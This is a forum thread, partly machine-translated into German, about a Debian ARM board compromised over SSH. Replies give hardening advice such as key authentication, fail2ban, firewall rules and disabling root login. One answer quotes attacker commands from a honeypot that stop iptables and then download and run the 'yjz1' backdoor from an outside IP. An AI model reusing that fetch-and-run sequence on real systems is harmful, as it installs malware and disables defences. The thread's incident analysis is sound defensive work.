This, 1) allows ssh connections from both LAN and WAN, 2) allows all input which was originated by your requests (for instance, when you load a Web page), 3) drops everything else on the input, 4) allows everything on the output, and 5-6) allows everything on the loopback interface.

As your needs grow, and more ports need to be opened, you may do so by adding, at the top of the list, rules like:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

to allow for instance people to access your Web browser.

Das war großartig zu lesen. Ich habe auch die Datei "yjz1" über Googles ** VirusTotal.com ** ausprobiert, was ein positives Ergebnis ergibt. Ich habe nicht einmal gesehen, dass `yjz` heruntergeladen wurde. Vielen Dank. vaid vor 8 Jahren 11
Ich lese gerade, wie man ROOT umbenennt. Ich habe bemerkt, dass der Hacker im Pfad `/ root /` etwas unternimmt, was ich als `/` bezeichne. Die Umbenennung von ROOT könnte also ein kurzfristiger Schutz sein? vaid vor 8 Jahren 0
Meine vorherige Webserver-Installation wurde von xordos erfasst. Ich hatte eine Kopie für eine Sicherungskopie in eine Windows-Box heruntergeladen, und mein AV-Gerät hat es immer sauber gemacht. Ich frage mich, ob Clamav es entdecken würde. Und ja, ich habe mich auf generische Schritte konzentriert, da ich wirklich keine zufällig bekannten fehlerhaften Dateien anstechen wollte. Journeyman Geek vor 8 Jahren 0
Seien Sie vorsichtig, wenn Sie "Zeichenketten" mit nicht vertrauenswürdigen Daten ausführen. https://lcamtuf.blogspot.com/2014/10/psa-dont-run-strings-on-untrusted-files.html Matt Nordhoff vor 8 Jahren 33
@ MattNordhoff Danke, dass du mich darauf aufmerksam gemacht hast, ich wusste es glücklicherweise nicht. Auf meinem Debian besteht der Befehl "strings" jedoch den Test, den Sie mit Bravour verknüpft haben. Ich gehe davon aus, dass dies auf die Tatsache zurückzuführen ist, dass das Handbuch Folgendes angibt: * -a ... Normalerweise ist dies das Standardverhalten *. Prost. MariusMatutiae vor 8 Jahren 5
@JourneymanGeek Ja, Clamav erkennt es, bitte lesen Sie oben. Ich habe nichts Negatives über Ihren Beitrag gemeint, ich wollte nur sagen, dass Ihr Beitrag das ergänzt, was Sie in meinem lesen können. MariusMatutiae vor 8 Jahren 0
Diese Antwort zeigt einen Ansatz, der ein Paradigma sein sollte: 1. Lassen Sie Ihre Aufmerksamkeit nicht durch misslungene Versuche ablenken, seien Sie gewarnt. 2. Bestimmen Sie die erfolgreichen Aktionen des Angreifers. 3. Studieren Sie, was und wie der Angreifer gehandelt hat. 4. Installieren Sie alles von Grund auf oder von der letzten unbeschädigten (angegriffenen) Sicherung und fügen Sie die erforderlichen zusätzlichen Schutzmaßnahmen hinzu (Punkt 3). 5. Helfen Sie den anderen, sich selbst zu schützen (die Liste der gefährdeten / verdächtigen IP-Adressen). Hastur vor 8 Jahren 32
Im Gegenteil bin ich nicht anderer Meinung. Ich füge nur hinzu: * Ich bin von demselben Stück Malware * getroffen worden und fühle mich bemerkenswert dumm. Journeyman Geek vor 8 Jahren 0
[Redacted nach Kommentar von @MariusMatutiae] - Trotzdem sollte das OP erkennen, dass auf einem kompromittierten System jede ausführbare _ -Datei als schädlich angesehen werden muss, sogar die Shell, "ls", "who" oder irgendetwas anderes. "Daten retten", indem Sie eine ausführbare Datei auf dem betroffenen System verwenden (z. B. "scp" oder "rsync"), kann noch mehr Computer gefährden. Dubu vor 8 Jahren 11
@MariusMatutiae Nun, ich sehe keinen großen potenziellen Gewinn für das Skriptkiddie, das dies getan hat (sie wären wahrscheinlich ziemlich schnell zum nächsten Host gewechselt), aber ich habe diesen Teil meines Kommentars dennoch entfernt. Dubu vor 8 Jahren 0
@Dubu: Und wie viele Leute setzen '.' am Anfang ihres $ Weges? Damit es auch ohne Root-Privilegien eine Vielzahl von Orten gibt, an denen ich eine schädliche Datei namens 'ls' oder… WGroleau vor 8 Jahren 1
Wenn der Angriff fehlgeschlagen ist, meinen Sie vermutlich, dass er einen versuchten Hack überlebt hat und nicht erfolgreich gehackt wurde. fredsbend vor 8 Jahren 0
@MattNordhoff, `strings` (dh` binutils`) wurde für Fedora im [Oktober 2014] behoben (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2014-8485). Gleiches gilt für Debian, Ubuntu. Vermutlich wurde auch Upstream behoben. vonbrand vor 8 Jahren 1
Große Änderungen an der Antwort. Wenn Sie jetzt noch einmal einige Sicherheitsmaßnahmen hinzufügen, wäre das für zukünftige Leser von Vorteil. Ich habe Folgendes getan: 1. Das System neu installieren. 2. Das Root-Passwort in ein 16-stelliges Passwort mit gemischten Groß- und Kleinbuchstaben sowie Buchstaben und Ziffern geändert. 3. Ändern Sie den Benutzernamen in einen aus 6 Zeichen bestehenden langen Benutzernamen und verwenden Sie dasselbe Kennwort wie für Root 3. Ändern Sie den SSH-Port in einen Wert über 5000. 4. Deaktivieren Sie die SSH-Root-Anmeldung. Zusätzlich könnte ich auch Fail2Ban installieren. Fügen Sie diesen Schritten Ihre Antwort hinzu und ich akzeptiere sie. Es wird für andere nützlich sein. vaid vor 8 Jahren 0
@MariusMatutiae Sie könnten daran interessiert sein, dass vor der Security SE vor einiger Zeit eine anständige Debatte darüber geführt wurde, ob das Ändern des SSH-Ports vom Standardwert eine gute Maßnahme ist oder etwas mehr Kopfschmerzen verursacht, die sich lohnen. Siehe http://security.stackexchange.com/questions/32308/should-i-change-the-default-ssh-port-on-linux-servers?s=2|1.7584 FWIW, ich komme auf die gleiche Seite Sie machen. Es kann offensichtlich von einem Angreifer besiegt werden, der einen vollständigen Port-Scan durchführt. Aber zumindest die allgegenwärtigen Scan / Attack-Bots, die fast immer beim Scannen von Standard- / Standard-Ports bleiben, schlagen fehl. mostlyinformed vor 8 Jahren 1
Ich bin mit dir einverstanden. Es ist klar, dass derjenige, der es ernsthaft ernst meint, jemanden zu verletzen, durch solche Maßnahmen nicht abgeschreckt werden kann, aber Botnet-Administratoren zumindest davon fernhalten wird. Vielen Dank für den Hinweis. Die Nachteile des sich ändernden SSH-Ports beziehen sich alle auf Personen, die mit vielen Kunden, Diensten und großen Organisationen zu tun haben. Nichts davon beeinflusst die Diskussion für einzelne Benutzer. MariusMatutiae vor 8 Jahren 2
_ "Sie haben die gesamte Live-Sitzung eines Eindringlings auf Ihrem PC aufgezeichnet" _ - was darauf hinweist, dass der Eindringling selbst kein Experte ist. Thorbjørn Ravn Andersen vor 8 Jahren 0
Wichtiger Hinweis: ** OpenSSH DISABLED DSA ** in Release 7 (standardmäßig; Sie können es zwar weiterhin in der Konfiguration aktivieren, sollten dies aber natürlich nur tun, bis Sie eine erneute Verschlüsselung durchführen). Die empfohlenen Optionen sind [RSA und ed25519] (https://stribika.github.io/2015/01/04/secure-secure-shell.html). Jan Hudec vor 8 Jahren 0
Ich glaube jedoch, dass openssh diese Implementierung nicht verwendet. Wie auch immer, @MariusMatutiae, würden Sie die Befehle in dieser Antwort aktualisieren und stattdessen ed25519 empfehlen? Jan Hudec vor 8 Jahren 0
Viele gute Ratschläge hier. Ich kann die Malware nicht herunterladen, konnte dies also nicht überprüfen, aber angesichts der Erwähnung von OP, die ein eingebettetes System entwickelt, und des Hostnamens, der "armhf" enthält, wäre ich nicht überrascht, wenn es sich bei der Malware um eine x86-Binärdatei handelt, die nicht funktioniert das ARM-Gerät. Wodin vor 8 Jahren 1
@Wodin Ja, richtig, genau das habe ich impliziert, ohne es ausdrücklich zu sagen, als ich erwähnte, dass der Angreifer, wenn er wirklich eine Zusammenstellung machte, bedeutete, dass er die Ursache seiner Probleme verstanden hatte und der Computer endgültig verschwunden war . MariusMatutiae vor 8 Jahren 0
Auf jeden Fall das Problem mit dem Download der Datei und der Notwendigkeit, sie zu erstellen, war definitiv richtig, sie wurde wahrscheinlich für x86 oder möglicherweise für x64 erstellt, aber der Build in den Protokollen zeigt, dass es sich um einen ARM-Build handelt, der vermutlich für ein Himbeer-Pi oder ähnliches gedacht ist. James Snell vor 8 Jahren 1
@vaid Hey, wenn der Angreifer * Quellcode * für seinen Trojaner auf Ihren Computer heruntergeladen hat, wie hoch ist die Wahrscheinlichkeit, dass Sie diesen Code wiederherstellen können (anhand der eingegebenen Befehle)? Es wäre wirklich nett, einen aktuellen, funktionalen Quellcode für einen in der Wildnis lebenden Trojaner zu Analyse- und Verteidigungszwecken zu erhalten. (Könnte auch Spaß machen, um den Code-Stil eines chinesischen Prototyp-Entwicklers zu studieren!) nneonneo vor 8 Jahren 1
@nneonneo Einverstanden, aber du wirst vaid fragen müssen, nicht ich: Er gibt nicht mehr Details als die, die du oben gelesen hast, wie ich. MariusMatutiae vor 8 Jahren 1
Ich habe eine ZIP-Datei hochgeladen, die die Binärdatei enthält. Ich kann mich jedoch nicht erinnern, irgendwo Quellcode zu sehen. Und leider habe ich das System gelöscht, ohne etwas zu sichern, sodass ich nicht zurückgehen kann, um zu sehen, ob Quellcode verfügbar ist. Hier ist ein interessantes Projekt für alle, die Interesse haben: Richten Sie ein Himbeer-Pi mit ssh und einem Standard-Root-Passwort wie "debian" ein, gehen Sie zu Ihren Routereinstellungen und leiten Sie Port 22 weiter, überprüfen Sie gelegentlich die Protokolle auf verdächtige Aktivitäten und versuchen Sie, den Hacker zu fangen. Soweit ich es verstanden habe, scannen die Hacker ständig nach Zielen. vaid vor 8 Jahren 0
Mein System hatte früher einen Benutzernamen und ein Kennwort als "debian". Auf diese Weise haben sie das System verletzt. Mein System ist im Grunde ein kleines Entwicklungsboard. Ein Olimex A10 Lime 4 GB, um genau zu sein. Warum denken Sie auch, dass der Angreifer den eigentlichen Quellcode heruntergeladen hat? Gibt es irgendetwas in den Protokollen, die darauf hindeuten, dass der Angreifer dies getan hat? vaid vor 8 Jahren 0
Könnte es die Zeile sein, die ". / Yd_cd / make" sagt? Diese Datei wurde nicht heruntergeladen, da `yd_cd` meine eigene Software ist, die ich gerade entwickle. Es ist nur ein Zufall, dass ich es ähnlich wie ihre Namenskonvention mit "Y" am Anfang benannt habe. Es zeigt jedoch an, dass der Angreifer auf meinem Gerät arbeitete, da ich meine Software tatsächlich entwickelte. Etwas beängstigend um ehrlich zu sein. vaid vor 8 Jahren 1
Ah ich sehe. Schade, ich vermute, Sie haben keine Quelle für seinen Trojaner. (Vielleicht hätten Sie deutlich machen sollen, welche Log-Elemente von ihm stammen) nneonneo vor 8 Jahren 0
@nneonneo Die Protokolle im OP sind vaid's, die in meinem Beitrag sind meine. MariusMatutiae vor 8 Jahren 0
@MariusMatutiae, können Sie die Wirksamkeit der Verwendung von `DenyHosts` (automatisch` / etc / hosts.deny`) als Brute-Force-Verhinderer kommentieren? Macht dies ein SSH-Passwort (und nicht den Schlüssel) sicherer? meowsqueak vor 8 Jahren 0
@meowsqueak Die Verwendung von DenyHosts anstelle von Kryptoschlüsseln ist ein bisschen wie folgt: Ich kann diese Schwachstelle hinterlassen, da ich mit dieser anderen, eindeutigen Funktion abdeckt. Ich unterschreibe diesen Standpunkt nicht, da es nie vorkommt, dass die beiden Merkmale genau denselben Grund abdecken. Zum Beispiel bin ich oft nicht zu Hause, und ich möchte eine Verbindung zu meinen Work- / Home-PCs herstellen, aber ich kenne die IPs, von denen aus ich mich verbinden möchte, nicht von vornherein: DenyHosts hilft mir nicht, aber Kryptoschlüssel tun dies. Wenn ein Eindringling Zugriff auf mein LAN erhält, helfen die Schlüssel weiterhin, DenyHosts jedoch nicht. MariusMatutiae vor 8 Jahren 0
@MariusMatutiae ok, ich dachte mehr daran, einen Brute-Force-Angriff zu verhindern, indem ein Hosts.deny-Eintrag erstellt wird, wenn ein falsches Passwort mehr als dreimal von einer einzigen IP-Adresse eingegeben wird. Es scheint mir, als könnte es in den Fällen helfen, in denen ein Passwort erforderlich ist (zB wenn die Sicherheit des privaten Schlüssels nicht gewährleistet werden kann). meowsqueak vor 8 Jahren 0
@meowsqueak Oh, aber dann ist fail2ban eine bessere und viel modernere Lösung, die dies für fast jede Anwendung, Postfix, https, ssh usw. macht. Das hilft definitiv, ich benutze es selbst. Der Punkt bleibt jedoch bestehen: Solange Sie über Kennwörter verfügen, müssen Sie Wege finden, um deren inhärente Schwäche auszugleichen. Schlüssel haben keine solche Schwäche. MariusMatutiae vor 8 Jahren 2
140
Journeyman Geek

Welcome to the Internet - where any open SSH server is likely going to get probed, brute-forced, and have various indignities inflicted upon it.

To start, you need to completely wipe the storage on the product. Image it if you want to pass it on for forensics, but the Linux install on it is now suspect.

Bit of guesswork but

  1. You got brute-forced or use a common password. It's security by obscurity but you don't want a dictionary password or to use a root account open to SSH. Disable root SSH access if it's an option or at least change the name so they need to guess both. SSHing as root is terrible security practice anyhow. If you must use root, log in as another user and use su or sudo to switch.

  2. Depending on the product, you might want to lock down SSH access in some way. A total lock-down sounds like a good idea, and allows users to open it up as needed. Depending on what resources you can spare, consider only allowing IP addresses in your own subnet, or some kind of login throttling system. If you don't need it on the final product make sure it's turned off.

  3. Use a non standard port. Security by obscurity again, but it means an attacker needs to target your port.

  4. Do not ever use a default password. The best approach I've seen is to randomly generate a password for a specific device and ship it with your product. Best practice is key based authentication, but I've no idea how you'd approach that on a mass market product.

5. Verwenden Sie möglichst den öffentlichen Schlüsselauthentifizierung. Passwort auth ist weitaus weniger sicher. Bob vor 8 Jahren 75
Ja, aber wenn es sich um ein Endgerät handelt, ist dies möglicherweise keine Option. Bei einer Dev-Box klingt das nach einer genialen Idee. Auf einem Server wurde ich schon gehackt; p Journeyman Geek vor 8 Jahren 4
Wenn es sich um ein Endgerät handelt, ist das gleiche zufällige Passwort oder derselbe Schlüssel auch für alle eine schlechte Idee. Wie alles, was auf seiner Seriennummer, seiner MAC oder auf andere Weise identifizierbaren Informationen basiert. (Etwas, das viele SoHO-Modem / Router / WAPs vermisst zu haben scheinen). Hennes vor 8 Jahren 2
Es ist ein Verbrauchergerät. Die überwiegende Mehrheit der anvisierten Verbraucher wird jedoch nicht ausreichend ausgebildet sein, um zu wissen, was SSH ist. SSH kann also ausgeschaltet werden und wird höchstwahrscheinlich ausgeschaltet. vaid vor 8 Jahren 2
Ich würde sagen # 1) "Verwenden Sie einen öffentlichen Schlüssel". # 2 "Verwenden Sie ein Passwort? Beziehen Sie sich auf # 1" ... # 3) "Verwenden Sie etwas, das es nicht zulässt? Halten Sie sich vom offenen Internet fern, und zwar" # 4) "Können Sie es nicht fernhalten? mit allen Mitteln aus Ihrem internen Netzwerk entfernt werden " WernerCD vor 8 Jahren 0
Ich möchte darauf hinweisen, dass das, was @Bob gesagt hat, wahr ist, auch wenn Sie ein sicheres Kennwort verwenden. Unabhängig von der Sicherheit Ihres Kennworts ist die Verwendung der Authentifizierung mit öffentlichen Schlüsseln noch sicherer. Dies liegt daran, dass die Authentifizierung mit öffentlichen Schlüsseln eine zusätzliche Verteidigung gegen Mitm-Angriffe bietet. Für einen Angreifer ist es schwieriger, ein Kennwort abzufangen, das Sie nicht an den Server senden. kasperd vor 8 Jahren 0
Verwenden Sie auch [fail2ban] (http://www.fail2ban.org). Shadur vor 8 Jahren 2
Ich arbeitete für ein Unternehmen, das Linux-basierte Firewall-Boxen produzierte. Die Remote-Unterstützung (SSH) war standardmäßig deaktiviert, und ein eindeutiger SSH-Schlüssel und ein SSL-Zertifikat wurden während der Produktion direkt nach der Testphase aufgezeichnet. Ja, Verbraucherboxen können sicher sein. Zan Lynx vor 8 Jahren 0
sehr gut zu lesen! Und ja, es ist schön, so viel lesen zu können. NetworkKingPin vor 8 Jahren 0
Offene SSH ist nicht das Problem, Gewalttat ist keine Alternative und selbst Wörterbuchangriffe sind in den meisten Fällen nicht möglich. Hier geht es jedoch um einen Sicherheitsfehler des Systems. magallanes vor 8 Jahren 0
Das ist falsch [Willkommen in einer furchterregenden neuen Welt] (https://blog.avast.com/tag/ddos-attack/) Journeyman Geek vor 8 Jahren 0
@Bob Wenn ein Passwort entsprechend komplex ist (z. B. 16 zufällige Zeichen und Symbole usw.) und daher nicht mit Gewalt belegt werden kann, was ist dann der Sicherheitsvorteil der Verwendung eines Schlüssels? (Echte Frage - Ich bin nicht anderer Meinung) NickG vor 8 Jahren 1
Verwenden SSH nicht öffentliche Schlüssel für die Authentifizierung des Servers gegenüber dem Client, auch wenn der Client anstelle eines Schlüssels ein Kennwort verwendet, um sich beim Server zu authentifizieren? Das schützt vor MiTM, so dass nur rohe Gewalt übrig bleibt, und ich kann ehrlich gesagt nicht erkennen, wie brutale Gewalt hier möglich ist, wenn Sie ein sicheres Passwort verwenden. (Die Verwendung eines öffentlichen Schlüssels ist jedoch wahrscheinlich viel einfacher, als ein sicheres Kennwort auszuwählen und sich daran zu erinnern.) Ajedi32 vor 8 Jahren 0
Ah, also habe ich ein bisschen mehr nachgesehen und die Verwendung der Public-Key-Authentifizierung für den Client bietet tatsächlich einen gewissen Schutz gegen MiTM, auch wenn der Client den Host-Schlüssel nicht überprüft. Daher gibt es _some_ einen zusätzlichen Sicherheitsvorteil für die Verwendung der öffentlichen Schlüsselauthentifizierung für SSH: http://www.gremwell.com/ssh-mitm-public-key-authentication (Ich denke, das beantwortet Ihre Frage, @NickG.) Dieser bestimmte Angriffsvektor In diesem Fall schien es sowieso nicht dabei zu sein, und es ist eigentlich nicht wichtig, solange Sie immer den Host-Schlüssel überprüfen. Ajedi32 vor 8 Jahren 1
@NickG Bei einem kompromittierten Server wird Ihr Passwort angezeigt. Dies kann in Ordnung sein, wenn Sie das Kennwort nie wiederverwenden, z. B. über einen richtigen Kennwortmanager verfügen. Ein öffentlicher Schlüssel legt Ihren privaten Schlüssel niemals offen, sodass Sie denselben privaten Schlüssel zur Authentifizierung bei mehreren Servern ohne Sorge verwenden können (und Sie können ein Kennwort eingeben.) -Schützen Sie den privaten Schlüssel, wobei das Passwort nur lokal sichtbar ist. Am Ende des Tages kann ein Kennwort bei ausreichender externer Unterstützung (keine Wiederverwendung, Kennwortmanager) einem öffentlichen Schlüssel entsprechen. (Dies gilt nicht für einige Angriffe, bei denen der private Schlüssel auslaufen könnte ... sehr unwahrscheinlich, aber möglich). Bob vor 8 Jahren 1
Die Sache ist, Pubkey ist fast standardmäßig sicher. Die Kennwortauthentifizierung erfordert, dass eine sicherheitsbewusste Person ein sicheres Kennwort auswählt und es niemals wiederverwendet. In der Praxis erfüllt die überwiegende Mehrheit der Kennwortauthentifizierung diese Anforderungen wahrscheinlich nicht. Daher empfiehlt es sich, pubkey zu empfehlen. Bob vor 8 Jahren 1
Bob und Alice kennen die Kryptographie sehr gut;) kiran vor 8 Jahren 0
33
Viktor Toth

Oh, you have been definitely hacked. Someone appears to have been able to gain root credentials and attempted to download a Trojan to your system. MariusMatutiae provided an analysis of the payload.

Two questions arise: a) Was the attacker successful? And b) what can you do about it?

The answer to the first question may be a no. Notice how the attacker repeatedly tries to download and run the payload, apparently without success. I suspect that something (SELinux, perchance?) stood in his way.

HOWEVER: The attacker also altered your /etc/rc.d/rc.local file, in the hope that when you restart your system, the payload will be activated. If you have not yet restarted the system, don't restart until you have removed these alterations from /etc/rc.d/rc.local. If you have already restarted it... well, tough luck.

As to what you can do about it: The safest thing to do is to wipe the system and reinstall from scratch. But this may not always be an option. A significantly less safe thing to do is to analyze exactly what happened and wipe every trace of it, if you can. Again, if you have not yet restarted the system, perhaps all it takes is clean /etc/rc.d/rc.local, remove anything downloaded by the attacker, and last but not least, change the darn password!

However, if the attacker was already able to run the payload, there may be other modifications to your system that may be difficult to detect. Which is why a complete wipe is really the only safe (and recommended) option. As you indicated, the equipment in question may be a test/development target so perhaps wiping it is not as painful as it may be in other cases.

Update: Notwithstanding what I wrote about a possible recovery, I wish to echo MariusMatutiae's very strong recommendation not to underestimate the potential damage caused by this payload and the extent to which it may have compromised the target system.

Vielen Dank. Ich habe mich entschieden, das System zu löschen. Ich habe es ein paar Mal neu gestartet, um nur einige wichtige Daten zu kopieren. Keine Binärdateien, nur Quellcode. Ich bin jetzt ziemlich sicher. vaid vor 8 Jahren 2
Was ist mit anderen Boxen im selben LAN? WGroleau vor 8 Jahren 0
Gute Frage. Der bereitgestellte Shell-Verlauf weist nicht auf Versuche hin, andere Boxen im selben Netzwerk zu erkennen und zu gefährden. Wenn der Angreifer SSH-Zugriff (Root-Zugriff) auf eine Box erhält, bedeutet dies im Allgemeinen, dass er alle Umkreisfirewalls umgangen hat. Dies bedeutet jedoch nicht automatisch, dass andere Boxen gefährdet sind: Dies würde etwas anderes erfordern wie eine ungepatchte Sicherheitsanfälligkeit, gemeinsam genutzte Passwörter, die automatische Anmeldung von Box zu Box usw. Viktor Toth vor 8 Jahren 0
17
Gunther Nitzsche

My sshd-honeypot has also seen this kind of attack. First Downloads from that URL started 2016-01-29 10:25:33 and attacks are still ongoing. Attacks are/were coming from 

103.30.4.212 111.68.6.170 118.193.228.169

Input from these attackers was:

service iptables stop wget http://222.186.30.209:65534/yjz1 nohup /root/yjz1 > /dev/null 2>&1 & chmod 0777 yjz1 chmod u+x yjz1 ./yjz1 & chmod u+x yjz1 ./yjz1 & cd /tmp

So no activities other than installing the backdoor for later on.

Vereinbart, es ist das gleiche MO. MariusMatutiae vor 8 Jahren 0
@MariusMatutiae Das ist also kein manueller Hack? Es ist eine Art selbstausbreitender Wurm / Bot? NickG vor 8 Jahren 1
@NickG Meine beste Vermutung ist, dass dies kein manueller Hack war. Wie groß ist die Wahrscheinlichkeit, dass vaid im selben Büro wie der Urheber eines in China ansässigen Botnetzes arbeitet? Jemand fand eine ausnutzbare Schwachstelle in seinem Rechner, höchstwahrscheinlich einen schwach gesicherten SSH-Server, der sein Passwort brutal zwang, Zugang verschaffte, versuchte, sich heimlich zu installieren. Ich würde jedoch auch darauf wetten, dass der Angreifer mit Windows fließender ist als mit Linux. Aber ich habe keinen ** harten ** Beweis dafür, nur eine fundierte Vermutung. MariusMatutiae vor 8 Jahren 1
11
Archemar

  1. Is debian-armhf your hostname? Or do you use a default install with default settings? There is no problem with that, but you shouldn't allow the host to be directly exposed to the Internet (i.e. not protected by your modem, at least).

  2. It looks like the real trouble is coming from 222.186.30.209 (see http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). You shouldn't pay much heed to seeing Microsoft's IP. IPs can more or less be faked/spoofed rather easily.

  3. A usual way to connect to the Internet is to forward a known list of ports from your public IP (e.g. 8.8.8.8) to your local (e.g. 192.168.1.12).

    • For instance, do not forward all incoming connections from 8.8.8.8 (public) to 192.168.1.12 (local).

    • Forward only ports 22 and 25 (ssh and incoming mail, respectively). You should, of course, have up-to-date ssh and smtp packages/libraries as well.

  4. What's next? Disconnect the host, and change any passwords (on any computers associated with the organisation) that are hardcoded in shell scripts (shame on you!) in /etc/shadow.

1. Ja ** debian-armhf ** ist der Hostname. 2. Ja, ich habe diesen Artikel gelesen und habe über die Website cest.microsoft.com mit Microsoft Kontakt aufgenommen. 3. Ich hatte nur 25 und 22 weitergeleitet, es wurde nichts weitergeleitet. 4. Ich werde das tun vaid vor 8 Jahren 0
"IP kann mehr oder weniger leicht gefälscht werden": Ich bin kein Sicherheits- oder Netzwerkexperte. Wie ist das möglich? kevinarpe vor 8 Jahren 0
@kevinarpe Das ist als separate Frage wahrscheinlich viel besser. a CVn vor 8 Jahren 0
Siehe http://stackoverflow.com/questions/5180557/why-is-it-not-possible-to-fake-an-ip-address und http://superuser.com/questions/37687/how-can-i -make-my-ip-address-erscheinen-aus-einem-anderen Land Archemar vor 8 Jahren 0
@Archemar: SSH ist TCP; Das Fälschen von TCP-Quell-IP ist schwierig oder unmöglich. Wie oben bereits erwähnt, gehört die Microsoft-IP-Adresse zu ihrem Cloud-Service Azure, was bedeutet, dass jeder Zeit für den Service gekostet haben könnte, um andere Personen anzugreifen. nneonneo vor 8 Jahren 2
@nneonneo Oder ein legitimer Azure-Benutzer hatte ein kompromittiertes System, durch das andere Personen angegriffen wurden. reirab vor 8 Jahren 0
11
pyn

Everyone here has offered solid advice, but to be clear, your priorities should be backing up and verifying what you truly need from that system, then wiping it with a fresh install from known-safe media.

Before you connect your newly installed host to the Internet, run through these ideas:

  1. Create a new non-root user, and log in as that user. You should never need to login as root, just sudo (substitute user do) when needed.

  2. Install SE Linux, configuration settings that enable mandatory access control: https://wiki.debian.org/SELinux/Setup

  3. Consider a hardware firewall between your office/home and the Internet. I use MicroTik, which has excellent community support: http://routerboard.com/.

Assuming you are on a timeline for completing your paid work, at least do #1. #3 is fast, and cheap, but you'll either need to wait on the package in the mail, or drive to the store.

Lassen Sie Ihren PC vor allem bei einer offenen Root-Sitzung nicht unbeaufsichtigt laufen! MariusMatutiae vor 8 Jahren 3
9
Nate H

Wie bereits erwähnt, ist es ziemlich klar, dass die Sicherheit Ihres Servers beeinträchtigt wurde. Am sichersten ist es, diese Maschine zu löschen und erneut zu installieren.

Um den zweiten Teil Ihrer Frage zu beantworten: Wenn Sie die Authentifizierung mit öffentlichen Schlüsseln nicht verwenden können, empfehle ich mindestens Fail2Ban einzurichten und SSH auf einem nicht standardmäßigen Port auszuführen. Ich deaktiviere auch den Root-SSH-Zugriff.

Fail2Ban trägt dazu bei, Brute-Force-Angriffe abzumildern, indem IP-Adressen gesperrt werden, die sich bei einer bestimmten Anzahl von Anmeldungen nicht anmelden.

Wenn Sie sshd so einstellen, dass ein nicht standardmäßiger Port überwacht wird, kann dies zumindest die Sichtbarkeit Ihres SSH-Servers ein wenig beeinträchtigen. Durch die Deaktivierung der Root-Anmeldung wird auch das Angriffsprofil geringfügig reduziert. In /etc/sshd_config:

PermitRootLogin no Port xxxxx

Wenn der root-Login deaktiviert ist, müssen Sie entweder zum root wechseln, suwenn Sie einmal verbunden sind, oder (bevorzugter) sudozum Ausführen privilegierter Befehle verwenden.

Ich habe beide gemacht, danke für den Rat. vaid vor 8 Jahren 0
8
user1751825

SSH servers are constantly under attack on the internet. A couple of things you do:

  1. Make sure you use a very secure random password, for internet accessible machines. I mean like 16 characters or more and completely random. Use a password manager so you don't have to memorize it. If you can memorize your password, it's too simple.

  2. If you don't need SSH, turn it off. If you do need it, but don't need it publicly accessible, run it on a high, non-standard port number. Doing this will dramatically reduce hack attempts. Yes a dedicated hacker can do a port scan, but automated bots won't find it.

The snippet from your auth log shows a failed attempt. However if you look further you'll no doubt see a successful login. It you use a simple password, then it's trivial for a bot to get in.

You need to isolate this machine from the network. Very carefully get what you need off it, and then wipe it.

Wenn ich ssh auf Port 22 ausgeführt habe, hätte ich normalerweise Tausende von Hack-Versuchen pro Tag. Als ich zu einer hohen Portnummer (über 50000) wechselte, wurden diese Hack-Versuche vollständig abgebrochen. user1751825 vor 8 Jahren 7
16 Zeichen sind nicht sicher genug. Benutzerabmeldung ist auch praktisch. Machen Sie es nicht zu einer Dauerwelle, machen Sie es aus, sondern machen Sie es ungefähr wie eine Stunde. Auf diese Weise können Sie weiterhin auf den Server zugreifen. Ramhound vor 8 Jahren 0
Beachten Sie, dass Schritt 2) zur Sicherheit nicht unbedingt erforderlich ist, sofern Sie über eine starke Authentifizierung verfügen (öffentlicher Schlüssel oder ein starkes Kennwort). user20574 vor 8 Jahren 0
@ Ramhound Warum nicht? Selbst wenn es sich nur um Kleinbuchstaben handelt, bieten 16 Kleinbuchstaben 43608742899428874059776 Möglichkeiten, was für Brute-Force unpraktisch ist, insbesondere für Online-Brute-Force, bei der der Server Sie bei jedem fehlgeschlagenen Versuch warten lässt. user20574 vor 8 Jahren 2
@ user20574. Die Einschränkung der Sichtbarkeit des SSH-Dienstes ist zwar nicht unbedingt erforderlich, aber dennoch sehr hilfreich. Auch wenn es aus keinem anderen Grund ist, als Unordnung aus Ihren Protokollen zu entfernen. Wenn eine Maschine nur für eine begrenzte Gruppe von Personen zugänglich sein muss, ist ein nicht standardmäßiger Port ein durchaus vernünftiger Schritt zur Verbesserung der Sicherheit. user1751825 vor 8 Jahren 3
Wie andere schon erwähnt haben. Sie sollten Ihr Passwort eigentlich nicht verwenden, um sich anzumelden. Die Verwendung von Schlüsseln ist bequemer und viel sicherer. user1751825 vor 8 Jahren 0
Danke für den Hinweis. Ich werde die Portnummer ändern und den Benutzer um ein viel längeres Groß- + Kleinbuchstaben + Ziffern-Passwort ändern. Alternativ verwende ich einen Schlüssel, alle Links zu einem Artikel, in dem beschrieben wird, wie ein Schlüssel für SSH verwendet wird. vaid vor 8 Jahren 0
@vaid Dies scheint ziemlich umfassend zu sein ... https://www.digitalocean.com/community/tutorials/how-to-set-up-ssh-keys--2 user1751825 vor 8 Jahren 0
6
JakeGould

Nach dem Einrichten eines Linux / Unix-Servers, der direkt vor dem Computer steht, sollte jeder sofort alle Benutzer deaktivieren root.

Ihr System wurde gefährdet. Sie haben ein laufendes Protokoll, das sich bis zu einem gewissen Grad sehen lassen kann. Aber ehrlich gesagt, die Besonderheiten zu analysieren, ist ein bisschen wählerisch und hilft Ihnen nicht, Ihren Server abzusichern. Es zeigt alle Arten von Unsinn, die auftreten, wenn aus dem Botnet Malware erzeugt wird - was höchstwahrscheinlich das, was Ihren Server infiziert hat - ein Linux-System infiziert. Die Antwort von @MariusMatutiae ist nett und durchdacht und es gibt andere, die wiederholen, dass Sie über einen rootZugriff gehackt wurden, was ein feuchter Traum von Malware / Botnet ist.

Es gibt einige Erklärungen zum Deaktivieren, rootaber ich werde aus eigener Erfahrung sagen, dass alles, was über das hinausgeht, was ich jetzt beschreiben werde, übertrieben ist. Das hätten Sie tun sollen, wenn Sie den Server zum ersten Mal einrichten:

